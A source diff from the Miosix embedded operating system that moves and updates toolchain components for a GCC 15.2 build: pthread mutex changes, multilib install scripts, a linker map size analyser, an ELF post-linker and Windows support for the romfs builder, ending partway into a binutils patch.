mutex->last->next=&waiting; - mutex->last=&waiting; + reinterpret_cast(mutex->field2)->next=&waiting; + mutex->field2=&waiting; } //The while is necessary to protect against spurious wakeups @@ -542,6 +618,14 @@ int pthread_mutex_lock(pthread_mutex_t *mutex) //1) a syscall to ask the OS to block the thread //2) a way to atomically exit the critical section and block, otherwise // we have a race condition if the wakeup occurs in between + + // Note: for mysterious reasons, the call to pthread_yield() here makes + // GCC believe that this function may throw, and therefore the function + // epilogue gets a __cxa_end_cleanup call added at the end. + // However this is a problem for C executables that don't link with + // libstdc++, as that would cause undefined references. + // The easiest way to solve this is to build libsyscalls with exceptions + // disabled. pthread_yield(); } return 0; @@ -549,17 +633,17 @@ int pthread_mutex_lock(pthread_mutex_t *mutex) int pthread_mutex_unlock(pthread_mutex_t *mutex) { CriticalSectionLock lock(mutex); - if(mutex->recursive>0) + if(mutex->recursiveDepth>0) { - mutex->recursive--; + mutex->recursiveDepth--; return 0; } - if(mutex->first!=nullptr) + if(mutex->field1!=nullptr) { //TODO: once the code to block a thread in pthread_mutex_lock is added //here we need to call the syscall to wake it up - mutex->owner=mutex->first->thread; - mutex->first=mutex->first->next; + mutex->owner=reinterpret_cast(mutex->field1)->thread; + mutex->field1=reinterpret_cast(mutex->field1)->next; return 0; } mutex->owner=nullptr; @@ -567,7 +651,6 @@ int pthread_mutex_unlock(pthread_mutex_t *mutex) } int pthread_mutex_destroy(pthread_mutex_t *mutex) { return 0; } -int pthread_setcancelstate(int state, int *oldstate) { return 0; } int pthread_once(pthread_once_t *once, void (*func)()) { @@ -581,6 +664,17 @@ int pthread_once(pthread_once_t *once, void (*func)()) return 0; } +// TODO +extern "C" unsigned int libat_quick_lock_n(void *ptr) +{ + return 0; +} + +// TODO +extern "C" void libat_quick_unlock_n(void *ptr, unsigned int token) +{ +} + } // extern "C" union MiosixGuard diff --git a/tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/install_linkerscript.sh b/tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/install_linkerscript.sh new file mode 100644 index 000000000..e28d166fb --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/install_linkerscript.sh @@ -0,0 +1,34 @@ +#!/usr/bin/env bash + +# Script for installing a Miosix linker script for all multilibs +# This script can also be used to update an existing install of the Miosix +# compiler to a newer miosix_process.ld + +quit() { + echo $1 + exit 1 +} + +if [[ -z "$PREFIX" ]]; then + quit PREFIX must be a toolchain prefix path like '/opt/arm-miosix-eabi' +fi +# Ensure PREFIX and DESTDIR are visible to the makefile +export PREFIX=$PREFIX +export DESTDIR=$DESTDIR +# For now support arm-miosix-eabi only, in the future this will change +export TARGET=arm-miosix-eabi + +all_multilibs=$(arm-miosix-eabi-gcc --print-multi-lib) +for libspec in $all_multilibs; do + libspec_parts=(${libspec//;/ }) + export MULTILIB_PATH=${libspec_parts[0]} + export MULTILIB_FLAGS=${libspec_parts[1]//@/ -} + echo "Multilib path $MULTILIB_PATH (flags:$MULTILIB_FLAGS)" + if [[ "$MULTILIB_FLAGS" == *-qkernelspace* ]]; then + echo 'Kernel multilib, skipped.' + else + $SUDO install -m 644 miosix_process.ld \ + $DESTDIR$PREFIX/$TARGET/lib/$MULTILIB_PATH || quit "Install failed!" + fi +done +make clean diff --git a/tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/install_multilibs.sh b/tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/install_multilibs.sh new file mode 100644 index 000000000..fbaacbcd3 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/install_multilibs.sh @@ -0,0 +1,42 @@ +#!/usr/bin/env bash + +# Script for installing all multilibs of libsyscalls.a +# This script can also be used to update an existing install of the Miosix +# compiler to a newer libsyscalls.a. + +quit() { + echo $1 + exit 1 +} + +if [[ -z "$PREFIX" ]]; then + quit 'PREFIX must be a toolchain prefix path like ''/opt/arm-miosix-eabi''' +fi + +all_multilibs=$(arm-miosix-eabi-gcc --print-multi-lib) +for libspec in $all_multilibs; do + libspec_parts=(${libspec//;/ }) + MULTILIB_PATH=${libspec_parts[0]} + MULTILIB_FLAGS=${libspec_parts[1]//@/ -} + echo "Multilib path $MULTILIB_PATH (flags:$MULTILIB_FLAGS)" + if [[ "$MULTILIB_PATH" == '.' ]]; then + echo 'Root multilib, skipped.' + elif [[ "$MULTILIB_FLAGS" == *-qkernelspace* ]]; then + echo 'Kernel multilib, skipped.' + else + make clean + make \ + PREFIX="$PREFIX" \ + DESTDIR="$DESTDIR" \ + TARGET=arm-miosix-eabi \ + MULTILIB_PATH="$MULTILIB_PATH" \ + MULTILIB_FLAGS="$MULTILIB_FLAGS" || quit 'Compilation error' + $SUDO make install \ + PREFIX="$PREFIX" \ + DESTDIR="$DESTDIR" \ + TARGET=arm-miosix-eabi \ + MULTILIB_PATH="$MULTILIB_PATH" \ + MULTILIB_FLAGS="$MULTILIB_FLAGS" || quit 'Installation error' + fi +done +make clean diff --git a/miosix/libsyscalls/memoryprofiling.cpp b/tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/memoryprofiling.cpp similarity index 80% rename from miosix/libsyscalls/memoryprofiling.cpp rename to tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/memoryprofiling.cpp index 862573232..7014a57c9 100644 --- a/miosix/libsyscalls/memoryprofiling.cpp +++ b/tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/memoryprofiling.cpp @@ -29,7 +29,12 @@ #include #include #include -#include +#include + +const int miosixCustomSysconfBase = 100000; +const int watermarkLen = miosixCustomSysconfBase+0; +const int stackFill = miosixCustomSysconfBase+1; +const int ctxsaveOnStack = miosixCustomSysconfBase+2; // declared in crt1.cpp extern const char *__processHeapEnd; @@ -41,7 +46,7 @@ namespace miosix { //TODO: when processes can spawn threads we need the per-thread stack bottom static const unsigned int *getStackBottom() { - return reinterpret_cast(__processHeapEnd)+WATERMARK_LEN; + return reinterpret_cast(__processHeapEnd)+sysconf(watermarkLen); } // @@ -74,15 +79,18 @@ void MemoryProfiling::print() unsigned int MemoryProfiling::getStackSize() { //TODO: when processes can spawn threads we need the per-thread stack size - return __processStackEnd-__processHeapEnd-WATERMARK_LEN; + return __processStackEnd-__processHeapEnd-sysconf(watermarkLen); } unsigned int MemoryProfiling::getAbsoluteFreeStack() { + const unsigned int stackOccupiedByCtxsave=sysconf(ctxsaveOnStack); + const unsigned int fillByte=sysconf(stackFill); + const unsigned int fillWord=fillByte | fillByte<<8 | fillByte<<16 | fillByte<<24; const unsigned int *walk=getStackBottom(); const unsigned int stackSize=getStackSize(); unsigned int count=0; - while(count(stack_ptr) - reinterpret_cast(walk)); //This takes into account CTXSAVE_ON_STACK. - if(freeStack<=CTXSAVE_ON_STACK) return 0; - return freeStack-CTXSAVE_ON_STACK; + if(freeStack<=stackOccupiedByCtxsave) return 0; + return freeStack-stackOccupiedByCtxsave; } unsigned int MemoryProfiling::getHeapSize() diff --git a/miosix/libsyscalls/memoryprofiling.h b/tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/memoryprofiling.h similarity index 100% rename from miosix/libsyscalls/memoryprofiling.h rename to tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/memoryprofiling.h diff --git a/miosix/libsyscalls/process.ld b/tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/miosix_process.ld similarity index 100% rename from miosix/libsyscalls/process.ld rename to tools/compiler/gcc-15.2.0-mp4.2/libsyscalls/miosix_process.ld diff --git a/tools/compiler/gcc-15.2.0-mp4.2/mx-buildromfs/CMakeLists.txt b/tools/compiler/gcc-15.2.0-mp4.2/mx-buildromfs/CMakeLists.txt new file mode 100644 index 000000000..5ffc6a6f7 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/mx-buildromfs/CMakeLists.txt @@ -0,0 +1,10 @@ + +cmake_minimum_required(VERSION 3.16) +project(MX-BUILDROMFS) + +set(CMAKE_BUILD_TYPE Release) +set(CMAKE_CXX_STANDARD 17) +add_definitions(-UNDEBUG) + +include_directories(../shared) # For romfs_types.h and elf_types.h +add_executable(mx-buildromfs buildromfs.cpp) diff --git a/miosix/_tools/filesystems/buildromfs.cpp b/tools/compiler/gcc-15.2.0-mp4.2/mx-buildromfs/buildromfs.cpp similarity index 100% rename from miosix/_tools/filesystems/buildromfs.cpp rename to tools/compiler/gcc-15.2.0-mp4.2/mx-buildromfs/buildromfs.cpp diff --git a/miosix/_tools/filesystems/image.h b/tools/compiler/gcc-15.2.0-mp4.2/mx-buildromfs/image.h similarity index 100% rename from miosix/_tools/filesystems/image.h rename to tools/compiler/gcc-15.2.0-mp4.2/mx-buildromfs/image.h diff --git a/miosix/_tools/filesystems/mkromfs.h b/tools/compiler/gcc-15.2.0-mp4.2/mx-buildromfs/mkromfs.h similarity index 96% rename from miosix/_tools/filesystems/mkromfs.h rename to tools/compiler/gcc-15.2.0-mp4.2/mx-buildromfs/mkromfs.h index dee4677d8..b49da5b4d 100644 --- a/miosix/_tools/filesystems/mkromfs.h +++ b/tools/compiler/gcc-15.2.0-mp4.2/mx-buildromfs/mkromfs.h @@ -204,12 +204,12 @@ class MkRomFs { assert(file.isFile()); std::ifstream in(file.path, std::ios::binary); - if(!in) throw std::runtime_error(file.path+": file not found"); - unsigned int fileAlignment=getFileAlignment(file.path,in); + if(!in) throw std::runtime_error(file.path.u8string()+": file not found"); + unsigned int fileAlignment=getFileAlignment(file.path.u8string(),in); fileAlignment=std::max(fileAlignment,romFsFileAlignment); if(fileAlignment>romFsImageAlignment) { - throw std::runtime_error(file.path+" alignment (" + throw std::runtime_error(file.path.u8string()+" alignment (" +std::to_string(fileAlignment) +"Byte) exceeds RomFs maximum configured alignment (" +std::to_string(romFsImageAlignment)+"Byte)"); @@ -234,7 +234,7 @@ class MkRomFs { assert(link.isLink()); //Symlinks are not aligned nor terminated with \0 - auto inode=img.appendString(link.path,false); + auto inode=img.appendString(link.path.u8string(),false); // Compute the entire directory inode size auto size=img.size()-inode; //inode is also address of first byte diff --git a/miosix/_tools/filesystems/tree.h b/tools/compiler/gcc-15.2.0-mp4.2/mx-buildromfs/tree.h similarity index 82% rename from miosix/_tools/filesystems/tree.h rename to tools/compiler/gcc-15.2.0-mp4.2/mx-buildromfs/tree.h index 6a1e1f9c4..76f2c2ef3 100644 --- a/miosix/_tools/filesystems/tree.h +++ b/tools/compiler/gcc-15.2.0-mp4.2/mx-buildromfs/tree.h @@ -25,6 +25,10 @@ #include #include +#ifdef WIN32 +#define S_IFLNK 0120000 +#endif + /** * Stores information about either a file, symlink or directory */ @@ -84,13 +88,41 @@ class FilesystemEntry /// If entry is a file, path in the source filesystem /// If entry is a symlink, link target - std::string path; + std::filesystem::path path; /// If entry is directory, its content /// Do not add entries directly, use addEntryToDirectory instead std::list directoryEntries; }; +/** + * Wrapper for lstat or workaround for Windows + * \param path path to lstat + * \param st struct stat to return stat result + * \return 0 on success + */ +inline int lstatEntry(const std::filesystem::path& path, struct stat& st) +{ +#ifndef WIN32 + return lstat(path.c_str(),&st); +#else + using namespace std; + using namespace std::filesystem; + try { + auto status=symlink_status(path); + st.st_mode=0777; //FIXME: file permissions + if(is_regular_file(status)) st.st_mode |= S_IFREG; + else if(is_directory(status)) st.st_mode |= S_IFDIR; + else if(is_symlink(status)) st.st_mode |= S_IFLNK; + st.st_uid=0; //FIXME: file user + st.st_gid=0; //FIXME: file group + return 0; + } catch(filesystem_error&) { + return 1; + } +#endif +} + /** * Recursively build a FilesystemEntry tree starting from a root directory * \param entry an empty FilesystemEntry that will become the root of the tree @@ -104,7 +136,7 @@ inline int buildFromDir(FilesystemEntry& entry, using namespace std::filesystem; struct stat st; - if(lstat(directory.c_str(),&st)!=0 || (st.st_mode & S_IFMT) != S_IFDIR) + if(lstatEntry(directory,st)!=0 || (st.st_mode & S_IFMT) != S_IFDIR) { cerr<=0 ? uidGidOverride : st.st_uid; entry.gid=uidGidOverride>=0 ? uidGidOverride : st.st_gid; - entry.name=directory.filename(); + entry.name=directory.filename().u8string(); directory_iterator end; for(directory_iterator it(directory);it!=end;++it) { @@ -124,11 +156,11 @@ inline int buildFromDir(FilesystemEntry& entry, return result; } else { struct stat st; - if(lstat(it->path().c_str(),&st)!=0) throw std::runtime_error("stat"); + if(lstatEntry(it->path(),st)!=0) throw std::runtime_error("stat"); subentry.mode=st.st_mode; subentry.uid=uidGidOverride>=0 ? uidGidOverride : st.st_uid; subentry.gid=uidGidOverride>=0 ? uidGidOverride : st.st_gid; - subentry.name=it->path().filename(); + subentry.name=it->path().filename().u8string(); switch(st.st_mode & S_IFMT) { case S_IFREG: diff --git a/tools/compiler/gcc-15.2.0-mp4.2/mx-maputil/CMakeLists.txt b/tools/compiler/gcc-15.2.0-mp4.2/mx-maputil/CMakeLists.txt new file mode 100644 index 000000000..8ed48a2fd --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/mx-maputil/CMakeLists.txt @@ -0,0 +1,9 @@ + +cmake_minimum_required(VERSION 3.16) +project(MX-MAPUTIL) + +set(CMAKE_BUILD_TYPE Release) +set(CMAKE_CXX_STANDARD 17) +add_definitions(-UNDEBUG) + +add_executable(mx-maputil main.cpp maputils.cpp) diff --git a/tools/compiler/gcc-15.2.0-mp4.2/mx-maputil/main.cpp b/tools/compiler/gcc-15.2.0-mp4.2/mx-maputil/main.cpp new file mode 100644 index 000000000..8752adf23 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/mx-maputil/main.cpp @@ -0,0 +1,107 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include +#include +#include +#include +#include "maputils.h" + +using namespace std; + +void usage() +{ + cerr< opts; + for(int i=1;i libs; + for(auto& s : mapfile) + { + totalSize+=get<1>(s); + cout<(s); + if(printSizes) cout<<"\t"<(s); + cout<<"\n"; + if(totals==false) continue; + string lib=libname(get<0>(s)); + if(lib.empty()) continue; + if(libs.count(lib)==0) libs[lib]=get<1>(s); + else libs[lib]+=get<1>(s); + } + if(totals) + { + cout<<"\nLibrary sizes\n"; + for(auto l : libs) cout< * + ***************************************************************************/ + +#include +#include +#include +#include +#include "maputils.h" + +using namespace std; + +/** + * Utility function to demangle a C++ symbol name + * \param input string possibly being a C++ mangled symbol name + * \return the demangled symbol name or the input string unchanged if the passed + * string is not a C++ mangled name + */ +static string demangle(const string input) +{ + int status; + char *demangled=abi::__cxa_demangle(input.c_str(),nullptr,nullptr,&status); + if(status!=0) return input; + string result=demangled; + free(demangled); + return result; +} + +/** + * Utility function to strip path from library names + * \param input string possibly containing a path + * \return the string without the path (if any) + */ +static string stripPath(const string& input) +{ + auto lastSlash=input.find_last_of("/"); + if(lastSlash!=string::npos) return input.substr(lastSlash+1); + else return input; +} + +Mapfile loadMapFileByFunctionNames(const string& filename) +{ + ifstream in(filename); + if(!in) throw runtime_error("Can't open file"); + const regex textSectionBlock(R"(^ \.text.*)"); + const regex symbolName(R"(^\s+(0x[0-9a-fA-F]+)\s+(\S+))"); + const regex symbolSize(R"(^\s+0x[0-9a-fA-F]+\s+0x[0-9a-fA-F]+\s+.*)"); + const regex anySectionBlockWithAddr(R"(^ \.\S+\s+(0x[0-9a-fA-F]+)\s+.*)"); + // Algorithm: we always compute a symbol size by difference between the next + // symbol address and the current symbol address. Thus when we find a symbol + // we "open" it and store its name and start address in prevName/prevAddress + // then when we find the next symbol we "close" the previous one. Since we + // only care about the .text section, we use validContext to only open + // symbols in .text or .text.* sections. We exit the validContext every time + // we find a line we don't understand, so we also need to account for code + // compiled with -ffunction-section adding one more line per symbol. + bool validContext=false; + unsigned int prevAddr; + string prevName; + Mapfile result; + string line; + auto closeSymbol=[&](unsigned int addr) { + if(prevName.empty()) return; //No open symbol + unsigned int size=addr-prevAddr; + //Only save if size > 0, prevents discarded/duplicated symbols + if(size>0) result.push_back(make_tuple(demangle(prevName),size)); + prevName.clear(); //Mark symbols as closed + }; + while(getline(in,line)) + { + // Filter initial garbage. + // We can't look for the string "Linker script and memory map" as this + // string is localized, so the best non-localized string is this one... + if(line=="*default* 0x00000000 0xffffffff") break; + } + while(getline(in,line)) + { + smatch sm; + if(regex_match(line,textSectionBlock)) + { + validContext=true; + } else if(regex_match(line,sm,symbolName)) { + unsigned int addr=stoul(sm[1],nullptr,16); + closeSymbol(addr); + if(validContext) //Do we need to open another symbol? + { + prevAddr=addr; + prevName=sm[2]; + } + } else if(regex_match(line,symbolSize)) { + //Ignore these lines + } else if(regex_match(line,sm,anySectionBlockWithAddr)) { + //Prevent error in computing last .text symbol size + closeSymbol(stoul(sm[1],nullptr,16)); + validContext=false; + } else { + validContext=false; //Unknown line understood as .text block end + } + } + return result; +} + +Mapfile loadMapFileByTranslationUnits(const string& filename) +{ + ifstream in(filename); + if(!in) throw runtime_error("Can't open file"); + const regex textNoAddr(R"(^ \.text.*)"); + const regex textWithAddr(R"(^ \.text\S*\s+0x[0-9a-fA-F]+\s+(0x[0-9a-fA-F]+)\s+(.*))"); + const regex symbolName(R"(^\s+0x[0-9a-fA-F]+\s+\S+)"); + const regex symbolSize(R"(^\s+0x[0-9a-fA-F]+\s+(0x[0-9a-fA-F]+)\s+(.*))"); + // Algorithm: just like in loadMapFileByFunctionNames we use validContext to + // remember whether we're parsing .text or some other section. Then we just + // read the data for translation units without -ffunction-section, and for + // those with -ffunction-section we sum the sizes for the repeated entries + // taking advantage of them being printed consecutively in the file + bool validContext=false; + Mapfile result; + string line; + auto addOrAppend=[&](const string& name, int size) { + //If name is the same as previous entry append size, else add + if(!result.empty() && get<0>(result.back())==name) + get<1>(result.back())+=size; + else result.push_back(make_tuple(name,size)); + }; + while(getline(in,line)) + { + // Filter initial garbage. + // We can't look for the string "Linker script and memory map" as this + // string is localized, so the best non-localized string is this one... + if(line=="*default* 0x00000000 0xffffffff") break; + } + while(getline(in,line)) + { + smatch sm; + if(regex_match(line,sm,textWithAddr)) { + validContext=true; + string name=stripPath(sm[2]); + unsigned int size=stoul(sm[1],nullptr,16); + if(size>0) addOrAppend(name,size); + } else if(regex_match(line,textNoAddr)) { + //Must check for textNoAddr after textWithAddr as they overlap + validContext=true; + } else if(regex_match(line,symbolName)) { + //Ignore these lines + } else if(regex_match(line,sm,symbolSize)) { + string name=stripPath(sm[2]); + unsigned int size=stoul(sm[1],nullptr,16); + if(validContext && size>0) addOrAppend(name,size); + } else { + validContext=false; //Unknown line understood as .text block end + } + } + return result; +} diff --git a/tools/compiler/gcc-15.2.0-mp4.2/mx-maputil/maputils.h b/tools/compiler/gcc-15.2.0-mp4.2/mx-maputil/maputils.h new file mode 100644 index 000000000..05552919a --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/mx-maputil/maputils.h @@ -0,0 +1,59 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include +#include +#include + +/* + * The issue in reading map files: static functions. Handling them is hard + * as for code compiled without -ffunction-section they don't appear as + * symbols in the map file. Only for code compiled with -ffunction-section + * they do appear. + * + * We have three options, all of which suck in a different way: + * 1) Both for code with/without -ffunction-section static function aren't + * considered and their size bloat up whatever symbol comes before (or after?) + * 2) We process also symbolSize lines, but this does nothing to fix the + * bloat up in code compiled without -ffunciton-section + * 3) We switch to reporting sizes at the translation unit granularity, but + * this way we lose valuable function-level information + * + * We provide code for option 1 (loadMapFileByFunctionNames) + * and option 3 (loadMapFileByTranslationUnits), you choose which to use. + */ + +/// The Mapfile type is just a vector of tuples with name, size +using Mapfile=std::vector>; + +/** + * Load a map file attempting to extract the .text data at the granularity of + * function names. + * \param filename map file + * \return a Mapfile type + */ +Mapfile loadMapFileByFunctionNames(const std::string& filename); + +/** + * Load a map file extracting the .text data at the granularity of translation + * units. + * \param filename map file + * \return a Mapfile type + */ +Mapfile loadMapFileByTranslationUnits(const std::string& filename); diff --git a/tools/compiler/gcc-15.2.0-mp4.2/mx-postlinker/CMakeLists.txt b/tools/compiler/gcc-15.2.0-mp4.2/mx-postlinker/CMakeLists.txt new file mode 100644 index 000000000..dfd85f5e6 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/mx-postlinker/CMakeLists.txt @@ -0,0 +1,10 @@ + +cmake_minimum_required(VERSION 3.16) +project(MX-POSTLINKER) + +set(CMAKE_BUILD_TYPE Release) +set(CMAKE_CXX_STANDARD 17) +add_definitions(-UNDEBUG) + +include_directories(../shared) # For elf_types.h +add_executable(mx-postlinker main.cpp postlinker.cpp) diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/main.cpp b/tools/compiler/gcc-15.2.0-mp4.2/mx-postlinker/main.cpp similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/main.cpp rename to tools/compiler/gcc-15.2.0-mp4.2/mx-postlinker/main.cpp diff --git a/tools/compiler/gcc-15.2.0-mp4.2/mx-postlinker/postlinker.cpp b/tools/compiler/gcc-15.2.0-mp4.2/mx-postlinker/postlinker.cpp new file mode 100644 index 000000000..d27595e03 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/mx-postlinker/postlinker.cpp @@ -0,0 +1,120 @@ +/*************************************************************************** + * Copyright (C) 2012 by Luigi Rucco and Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "postlinker.h" + +using namespace std; + +PostLinker::PostLinker(string s) +{ + elfFile=s; + ifstream f(s.c_str(),ios::binary); + if(!f.good()) throw runtime_error("File not found"); + f.seekg(0,ios::end); + size=f.tellg(); + newSize=size; + f.seekg(0,ios::beg); + int roundedSize=(size+sizeof(Elf32_Word)-1) & ~(sizeof(Elf32_Word)-1); + elf=new Elf32_Word[roundedSize/sizeof(Elf32_Word)]; + memset(elf,0,roundedSize); + f.read(reinterpret_cast(elf),size); + static const char magic[EI_NIDENT]={0x7f,'E','L','F',1,1,1}; + if(sizee_ident,magic,EI_NIDENT)) + throw runtime_error("Unrecognized format"); +} + +void PostLinker::removeSectionHeaders() +{ + newSize=getElfSection(getElfHeader()->e_shstrndx)->sh_offset; + getElfHeader()->e_shoff=0; + getElfHeader()->e_shnum=0; + getElfHeader()->e_shentsize=0; + getElfHeader()->e_shstrndx=0; +} + +void PostLinker::setMxTags(int stackSize, int ramSize) +{ + if(stackSize & 0x3) + throw runtime_error("stack size not four word aligned"); + if(ramSize & 0x3) + throw runtime_error("ram size not four word aligned"); + if(getSizeOfDataAndBss()+stackSize>ramSize) + throw runtime_error(".data + .bss + stack exceeds ramsize"); + getElfHeader()->e_type=ET_EXEC; //Force ET_EXEC + int ctr=0; + pair dyn=getDynamic(); + for(int i=0;id_tag!=DT_NULL) continue; + switch(ctr) + { + case 0: + dyn.first->d_tag=DT_MX_RAMSIZE; + dyn.first->d_un.d_val=ramSize; + break; + case 1: + dyn.first->d_tag=DT_MX_STACKSIZE; + dyn.first->d_un.d_val=stackSize; + break; + case 2: + dyn.first->d_tag=DT_MX_ABI; + dyn.first->d_un.d_val=DV_MX_ABI_V1; + return; + } + ctr++; + } + throw runtime_error("Not enough null entries"); +} + +void PostLinker::writeFile() +{ + ofstream o(elfFile.c_str(),ios::binary); + o.write(reinterpret_cast(elf),newSize); +} + +pair PostLinker::getDynamic() +{ + for(int i=0;ie_phnum;i++) + { + Elf32_Phdr* phdr=getElfSegment(i); + if(phdr->p_type!=PT_DYNAMIC) continue; + unsigned char *base=reinterpret_cast(elf); + unsigned int offset=phdr->p_offset; + if(offset+phdr->p_memsz>size) + throw std::runtime_error("Dynamic outside file bounds"); + return make_pair(reinterpret_cast(base+offset), + phdr->p_memsz/sizeof(Elf32_Dyn)); + } + throw runtime_error("Dynamic not found"); +} + +int PostLinker::getSizeOfDataAndBss() +{ + for(int i=0;ie_phnum;i++) + { + Elf32_Phdr* phdr=getElfSegment(i); + if(phdr->p_type!=PT_LOAD) continue; + if(!(phdr->p_flags & PF_W) || (phdr->p_flags & PF_X)) continue; + return phdr->p_memsz; + } + throw runtime_error(".data/.bss not found"); +} + +PostLinker::~PostLinker() +{ + delete[] elf; +} diff --git a/tools/compiler/gcc-15.2.0-mp4.2/mx-postlinker/postlinker.h b/tools/compiler/gcc-15.2.0-mp4.2/mx-postlinker/postlinker.h new file mode 100644 index 000000000..ea6e3f402 --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/mx-postlinker/postlinker.h @@ -0,0 +1,129 @@ +/*************************************************************************** + * Copyright (C) 2012 by Luigi Rucco and Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#ifndef POSTLINKER_H +#define POSTLINKER_H + +#include "elf_types.h" +#include +#include +#include +#include +#include +#include +#include + +using namespace miosix; + +/** + * This class performs transformations on an elf file, + * including stripping the section header and associated + * string table, and setting some Miosix specific options + * in the dynamic segment + */ +class PostLinker +{ +public: + /** + * Constructor + * \param s elf file name + */ + PostLinker(std::string s); + + /** + * Remove the section header and string table from the elf file + */ + void removeSectionHeaders(); + + /** + * Set the Miosix specific options in the dynamic segment + * \param stackSize size that the runtime linker-loader will reserve for + * the stack of the process + * \param ramSize size of the process RAM image that the runtime + * linker-loader will allocate for the process + */ + void setMxTags(int stackSize, int ramSize); + + /** + * Write changes to disk + */ + void writeFile(); + + /** + * Destructor + */ + ~PostLinker(); + +private: + PostLinker(const PostLinker&); + PostLinker& operator= (const PostLinker&); + + /** + * \return the elf header + */ + Elf32_Ehdr* getElfHeader() + { + return reinterpret_cast(elf); + } + + /** + * Allows to retrieve a section header given its index + * \param index a index from 0 to getElfHeader()->e_shnum + * \return the corresponding section header + */ + Elf32_Shdr* getElfSection(int index) + { + unsigned char *base=reinterpret_cast(elf); + unsigned int offset=getElfHeader()->e_shoff+index*sizeof(Elf32_Shdr); + if(offset+sizeof(Elf32_Shdr)>size) + throw std::runtime_error("Elf section outside file bounds"); + return reinterpret_cast(base+offset); + } + + /** + * Allows to retrieve a segment header given its index + * \param index a index from 0 to getElfHeader()->e_phnum + * \return the corresponding secgment header + */ + Elf32_Phdr *getElfSegment(int index) + { + unsigned char *base=reinterpret_cast(elf); + unsigned int offset=getElfHeader()->e_phoff+index*sizeof(Elf32_Phdr); + if(offset+sizeof(Elf32_Phdr)>size) + throw std::runtime_error("Elf segment outside file bounds"); + return reinterpret_cast(base+offset); + } + + /** + * \return the size of the segment that is loaded in RAM, with + * .data and .bss + */ + int getSizeOfDataAndBss(); + + /** + * \return a pair with a pointer to the first element in the dynamic + * segment and the number of entries in the dynamic segment + */ + std::pair getDynamic(); + + Elf32_Word* elf; + int size; + int newSize; + std::string elfFile; +}; + +#endif //POSTLINKER_H diff --git a/tools/compiler/gcc-15.2.0-mp4.2/patches/binutils.patch b/tools/compiler/gcc-15.2.0-mp4.2/patches/binutils.patch new file mode 100644 index 000000000..5d689a7eb --- /dev/null +++ b/tools/compiler/gcc-15.2.0-mp4.2/patches/binutils.patch @@ -0,0 +1,130 @@ +diff -ruN binutils-2.45-old/bfd/elf32-arm.c binutils-2.45/bfd/elf32-arm.c +--- binutils-2.45-old/bfd/elf32-arm.c 2025-07-27 01:00:00.000000000 +0200 ++++ binutils-2.45/bfd/elf32-arm.c 2025-11-03 23:04:18.344853924 +0100 +@@ -1895,6 +1895,24 @@ + false), /* pcrel_offset */ + }; + ++static reloc_howto_type elf32_arm_howto_table_miosix[1] = ++{ ++/* 32 bit absolute */ ++ HOWTO (R_ARM_MIOSIXPROC_TGT2, /* type */ ++ 0, /* rightshift */ ++ 2, /* size (0 = byte, 1 = short, 2 = long) */ ++ 32, /* bitsize */ ++ false, /* pc_relative */ ++ 0, /* bitpos */ ++ complain_overflow_bitfield,/* complain_on_overflow */ ++ bfd_elf_generic_reloc, /* special_function */ ++ "R_ARM_MIOSIXPROC_TGT2",/* name */ ++ false, /* partial_inplace */ ++ 0xffffffff, /* src_mask */ ++ 0xffffffff, /* dst_mask */ ++ false), /* pcrel_offset */ ++}; ++ + /* 249-255 extended, currently unused, relocations: */ + static reloc_howto_type elf32_arm_howto_table_3[4] = + { +@@ -1965,6 +1983,10 @@ + && 